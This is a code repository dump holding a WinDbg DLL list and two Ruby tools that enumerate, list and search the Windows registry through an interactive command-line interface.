/windbg_extensions/windbg_extension_docs/debugext.chm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Xipiter/MiscTools/eca7cc86db9975b8ecc5211f2409b2ba9e12c2c5/windbg_extensions/windbg_extension_docs/debugext.chm -------------------------------------------------------------------------------- /windbg_extensions/windbgs_core_dlls.txt: -------------------------------------------------------------------------------- 1 | DLL's used by WinDBG 2 | 3 | ModLoad: 01400000 014ae000 C:\Program Files\Debugging Tools for Windows\winext\ext.dll 4 | ModLoad: 01800000 01810000 C:\Program Files\Debugging Tools for Windows\winext\uext.dll 5 | ModLoad: 4ee80000 4ee99000 C:\Program Files\Debugging Tools for Windows\W2KFre\ntsdexts.dll 6 | ModLoad: 009c0000 009db000 C:\Program Files\Debugging Tools for Windows\srcsrv.dll 7 | ModLoad: 690a0000 690ab000 C:\WINNT\system32\psapi.dll -------------------------------------------------------------------------------- /windows_registry.rb/README.md: -------------------------------------------------------------------------------- 1 | Window Registry Ruby Code 2 | ===== 3 | 4 | Just run registry.rb from a Windows Machine with Ruby installed. 5 | The Cli should be self explanatory. It basically walks the entire 6 | windows registry. 7 | 8 | Regenum was written by Eric Monti (then at Matasano) but then I 9 | modified is slightly and gave it a simple UI so that you can interactively 10 | walk the windows registry from within a simple UI and make modifications. 11 | 12 | -------------------------------------------------------------------------------- /windows_registry.rb/regenum.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | # == Author 3 | # Eric Monti eric@matasano.com Oct 2009 4 | # 5 | require 'Win32API' 6 | require 'win32/registry' 7 | require 'enumerator' 8 | 9 | class Win32::Registry 10 | 11 | # This module gives RegValues and Registry a common set of methods 12 | # for reverse registry branch traversal via their parent objects. 13 | module WalksBackwards 14 | # Returns an Enumerator for recursing upwards through the parents of a 15 | # registry key (self) 16 | def recurse_back 17 | self.to_enum(:each_recurse_back) 18 | end 19 | 20 | # Recurses backwards in the key path via parents. 21 | # yields self followed by each key in the parent trail to a block 22 | def each_recurse_back 23 | yield(key=self) 24 | while key=key.parent 25 | yield(key) 26 | end 27 | end 28 | 29 | # Returns the full path string for the registry key/value 30 | def full_path 31 | recurse_back.map{|k| k.keyname }.reverse.join('\\') 32 | end 33 | 34 | end 35 | 36 | include WalksBackwards 37 | 38 | class RegValue < Struct.new(:parent, :keyname, :disposition, :value) 39 | include WalksBackwards 40 | def reg_type 41 | ::Win32::Registry::DISPOSITION_TYPES[disposition] 42 | end 43 | end 44 | 45 | ROOT_KEYS = { 46 | :HKLM => HKEY_LOCAL_MACHINE, 47 | :HKEY_LOCAL_MACHINE => HKEY_LOCAL_MACHINE, 48 | :LOCAL_MACHINE => HKEY_LOCAL_MACHINE, 49 | 50 | :HKCU => HKEY_CURRENT_USER, 51 | :HKEY_CURRENT_USER => HKEY_CURRENT_USER, 52 | :CURRENT_USER => HKEY_CURRENT_USER, 53 | 54 | :HKCR => HKEY_CLASSES_ROOT, 55 | :HKEY_CLASSES_ROOT => HKEY_CLASSES_ROOT, 56 | :CLASSES_ROOT => HKEY_CLASSES_ROOT, 57 | 58 | :HKU => HKEY_USERS, 59 | :HKEY_USERS => HKEY_USERS, 60 | :USERS => HKEY_USERS, 61 | 62 | :HKCC => HKEY_CURRENT_CONFIG, 63 | :HKEY_CURRENT_CONFIG => HKEY_CURRENT_CONFIG, 64 | :CURRENT_CONFIG => HKEY_CURRENT_CONFIG, 65 | 66 | :HKPD => HKEY_PERFORMANCE_DATA, 67 | :HKEY_PERFORMANCE_DATA => HKEY_PERFORMANCE_DATA, 68 | :PERFORMANCE_DATA => HKEY_PERFORMANCE_DATA, 69 | 70 | :HKPT => HKEY_PERFORMANCE_TEXT, 71 | :HKEY_PERFORMANCE_TEXT => HKEY_PERFORMANCE_TEXT, 72 | :PERFORMANCE_TEXT => HKEY_PERFORMANCE_TEXT, 73 | 74 | :HKPNT => HKEY_PERFORMANCE_NLSTEXT, 75 | :HKEY_PERFORMANCE_NLSTEXT => HKEY_PERFORMANCE_NLSTEXT, 76 | :PERFORMANCE_NLSTEXT => HKEY_PERFORMANCE_NLSTEXT, 77 | 78 | :HKDD => HKEY_DYN_DATA, 79 | :HKEY_DYN_DATA => HKEY_DYN_DATA, 80 | :DYN_DATA => HKEY_DYN_DATA, 81 | } 82 | 83 | DISPOSITION_TYPES = [ 84 | :REG_NONE, 85 | :REG_SZ, 86 | :REG_EXPAND_SZ, 87 | :REG_BINARY, 88 | :REG_DWORD, 89 | :REG_DWORD_BIG_ENDIAN, 90 | :REG_LINK, 91 | :REG_MULTI_SZ, 92 | :REG_RESOURCE_LIST, 93 | :REG_FULL_RESOURCE_DESCRIPTOR, 94 | :REG_RESOURCE_REQUIREMENTS_LIST, 95 | :REG_QWORD 96 | ] 97 | 98 | # convenience method - just like 'open' but hkey can be a symbol or string 99 | def self.alt_open hkey, subkey, desired=KEY_READ, o=REG_OPTION_RESERVED, &blk 100 | hk = case 101 | when hkey.respond_to?(:to_sym) 102 | raise(Win32::Registry::Error, 103 | "bad root key: #{hkey}") unless rk=ROOT_KEYS[hkey.to_sym] 104 | rk 105 | when hkey.kind_of?(::Win32::Registry) 106 | shkey 107 | else 108 | raise(Win32::Registry::Error, "unknown hkey class: #{hkey.class}") 109 | end 110 | open(hk, subkey, desired, o, &blk) 111 | end 112 | 113 | 114 | # convenience method - lets you open a key by it's full path string 115 | def self.open_full_path(path, desired=KEY_READ, opt=REG_OPTION_RESERVED, &blk) 116 | hk, subk = path.split('\\', 2) 117 | alt_open(hk, subk, desired, opt, &blk) 118 | end 119 | 120 | 121 | attr_reader :recursing_keys 122 | 123 | 124 | # Iterates the subkeys directly under this registry key 125 | def each_subkey(&block) 126 | each_key do |subkey, wtime| 127 | child = ::Win32::Registry.open(self, subkey) 128 | block.call(child, wtime) 129 | end 130 | end 131 | 132 | # Returns an Enumerator for the subkeys directly under this key 133 | def subkeys(&block) 134 | self.to_enum(:each_subkey) 135 | end 136 | 137 | # Recursively iterates all RegValue and subkey under this registry key 138 | def each_recurse_all(&block) 139 | @recursing_keys = true 140 | each_reg_value {|reg| block.call(reg) } 141 | each_subkey do |child, wtime| 142 | block.call(child) 143 | if child.respond_to? :each_recurse_all and not child.recursing_keys 144 | child.each_recurse_all &block 145 | end 146 | end 147 | @recursing_keys = false 148 | end 149 | 150 | # Returns an Enumerator for all RegValue and subkeys under this registry key 151 | def all_recursed 152 | self.to_enum(:each_recurse_all) 153 | end 154 | 155 | # iterates over all child values in this key encapsulated as RegValue 156 | # instances 157 | def each_reg_value 158 | each_value {|*v| yield(RegValue.new(self, *v)) } 159 | end 160 | 161 | # returns an enumerator for all child values on this key encapsulated as 162 | # RegValue instances. 163 | def reg_values 164 | self.to_enum(:each_reg_value) 165 | end 166 | 167 | # returns an enumerator for all child values on this key 168 | def values 169 | self.to_enum(:each_value) 170 | end 171 | 172 | # returns the registry key's default value or nil if there isn't one 173 | def value 174 | (df = reg_values.to_a.first and df.keyname == "" )? df : nil 175 | end 176 | 177 | 178 | end 179 | 180 | -------------------------------------------------------------------------------- /windows_registry.rb/registry.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby -W0 2 | # == Windows Registry 3 | # 4 | # This thing is a basic interface to the windows registry. 5 | # It implements a module called RegistryInterface which contains 6 | # all the helper methods. 7 | # These methods are then wrapped in a cli. If you want you can even drop into an IRB 8 | # session from this CLI to use these methods directly. 9 | # 10 | # == Author 11 | # Stephen A. Ridley stephen@matasano.com 2009 12 | # 13 | 14 | require 'optparse' 15 | require 'rdoc/usage' 16 | require 'Win32API' #prob'ly not gonna use this 17 | require 'win32/registry' 18 | #require 'ruby-debug' 19 | require 'cmd' #http://files.rubyforge.vm.bytemark.co.uk/cmd/cmd-0.7.2.gem 20 | require 'pp' 21 | require 'irb' 22 | require 'regenum' 23 | 24 | module IRB 25 | # http://errtheblog.com/posts/9-drop-to-irb 26 | def self.start_session(binding) 27 | IRB.setup(nil) 28 | workspace = WorkSpace.new(binding) 29 | if @CONF[:SCRIPT] 30 | irb = Irb.new(workspace, @CONF[:SCRIPT]) 31 | else 32 | irb = Irb.new(workspace) 33 | end 34 | @CONF[:IRB_RC].call(irb.context) if @CONF[:IRB_RC] 35 | @CONF[:MAIN_CONTEXT] = irb.context 36 | trap("SIGINT") do irb.signal_handle end 37 | catch(:IRB_EXIT) do irb.eval_input end 38 | end 39 | end 40 | 41 | module RegistryInterface 42 | # Search the registry for specific values. 43 | def self.search(regpath, search_val) 44 | r_h = Win32::Registry.open_full_path(regpath) 45 | r_h.each_value do |i| 46 | result = i.select{|m| m=~/#{search_val}/} 47 | if result.length() > 0 then 48 | puts "-------" 49 | puts "Match found at: ", r_h.name 50 | pp result 51 | puts "-------" 52 | else puts "No matches." end 53 | end 54 | end 55 | 56 | # Show which root hkey values are supported, by the API, not system 57 | def self.hkeys 58 | puts "The supported HKEYs are:" 59 | roots = Win32::Registry::Constants.constants.select{|i| i =~ /HKEY/} 60 | pp roots 61 | end 62 | 63 | def self.list(regpath) 64 | r_h = Win32::Registry.open_full_path(regpath) 65 | r_h.each_value{|i| pp i} 66 | end 67 | end 68 | 69 | class RegUI < Cmd 70 | @root = nil 71 | @prompt = "RegUI> " 72 | doc(:find, "Search the registry for something.") 73 | doc(:irb, "Drop to an IRB session.") 74 | doc(:ls, "List current 'branch' of registry, or specify a path to list.") 75 | doc(:sfs, "Find all Safe-For-Scripting ActiveX modules.") 76 | doc(:activex, "Find all ActiveX modules registered.") 77 | doc(:c2p, "Get the ProgID of a CLSID.") 78 | doc(:p2c, "Get the CLSID of a ProgiD.") 79 | doc(:checksfs, "Check if an CLSID is marked Safe-For-Scripting.") 80 | doc(:hkeys, "Display the Predefined HKEY values supported.") 81 | doc(:cd, "Set the path to work in.\n\t eg: HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes") 82 | doc(:pwd, "Display the current 'branch' of the registry you are in. ") 83 | 84 | # ----- Cleanup all the broken stuff inherited from Cmd 85 | undef_method "do_shell" # undef_method deletes the method from the Object! 86 | # "shell" was a broken method inherited from Cmd 87 | @@docs.delete("shell") 88 | # ------ 89 | 90 | def rootset? 91 | if @root == nil then return false else return true end 92 | end 93 | 94 | def do_cd(*arg) 95 | # if Win32::Registry::Constants.constants.include?(arg[0]) then 96 | # @hkey = arg[0] 97 | # prompt_with("Regtool:#{@root}> ") 98 | # else 99 | # puts "They hkey is not supported, use 'hkeys' command to get a list." 100 | # end 101 | if arg.length() < 1 then return end 102 | @root = arg[0] 103 | if arg[0].length > 30 then truncroot = arg[0][0..30]+"..." 104 | else truncroot = arg[0] end 105 | prompt_with("RegUI:#{truncroot}> ") 106 | end 107 | 108 | def do_irb 109 | puts "\n\nDropping to irb.\nBe sure you use irb_exit or ctrl-d to return to RegUI NOT 'exit'.\n\n" 110 | IRB.start_session(Kernel.binding) 111 | end 112 | 113 | def do_hkeys 114 | RegistryInterface.hkeys() 115 | end 116 | 117 | def do_pwd 118 | if rootset? == false then puts "There is currently no root set." 119 | else puts "You are currently operating in:\n #{@root}" end 120 | end 121 | 122 | def do_find(*args) 123 | if rootset? == false then puts "Please set a default root with 'cd'.";return 124 | # else puts "Searching in:\n#{@root}\nFor: '#{args[0]}' ." end 125 | else puts "Searching in current registry branch for: '#{args[0]}' ." end 126 | RegistryInterface.search(@root, args[0]) 127 | end 128 | 129 | def do_ls(*args) 130 | if rootset? == false then puts "Please set a default root with 'cd'."; return end 131 | if args[0] == nil then RegistryInterface.list(@root) 132 | else RegistryInterface.list(args[0]) end 133 | end 134 | 135 | protected 136 | def command_missing(command, args) 137 | end 138 | end 139 | a = RegUI.new() 140 | #a.run() 141 | a.cmdloop("\n..ooOO Ruby Windows Registry Tool OOOooo...\n") 142 | 143 | --------------------------------------------------------------------------------